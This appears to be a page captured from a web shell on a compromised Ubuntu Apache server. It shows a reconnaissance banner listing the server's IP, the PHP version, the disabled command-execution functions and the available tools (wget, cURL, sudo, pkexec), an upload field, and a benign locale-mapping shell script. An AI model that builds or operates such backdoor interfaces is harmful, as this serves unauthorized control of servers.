Server IP : 127.0.0.2 / Your IP : 13.58.229.23 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/language-tools/ |
Upload File : |
#!/bin/sh -pe # # - takes the first choice language in the LANGUAGE priority list as argument # - outputs locale name corresponding to that language lang=$1 locale_name= test -n "$lang" || exit 1 # remove codeset if any if [ "$lang" != "${lang%.*}" ]; then lang=$( echo $lang | sed -r 's/([^.]+)[^@]+(.*)/\1\2/' ) fi langtoolsdir=/usr/share/language-tools langcode=${lang%%[_@]*} locales= for loc in $( locale -a | grep -F .utf8 ); do # skip locales for other languages if [ $langcode = ${loc%%[._@]*} ]; then loc=${loc%.*}${loc#*.utf8} locales="$locales $loc" fi done # exact match for loc in $locales; do if [ $lang = $loc ]; then locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' ) break fi done if [ -z "$locale_name" -a $lang = ${lang%_[A-Z]*} ]; then # try the "main" country code if any main_country= while read line; do if [ "${line%%[[:space:]]*}" = $langcode ]; then main_country=${line##*[[:space:]]} if [ $lang != ${lang#*@} ]; then main_country=$main_country@${lang#*@} fi break fi done < $langtoolsdir/main-countries if [ -n "$main_country" ]; then for loc in $locales; do if [ $main_country = $loc ]; then locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' ) break fi done fi # try out fitting locale with any country code if [ -z "$locale_name" -a $langcode != 'zh' ]; then for loc in $locales; do if [ "${loc%%[_@]*}" = $langcode ]; then locale_name=$( echo $loc | sed -r 's/([^@]+)/\1.UTF-8/' ) break fi done fi fi echo $locale_name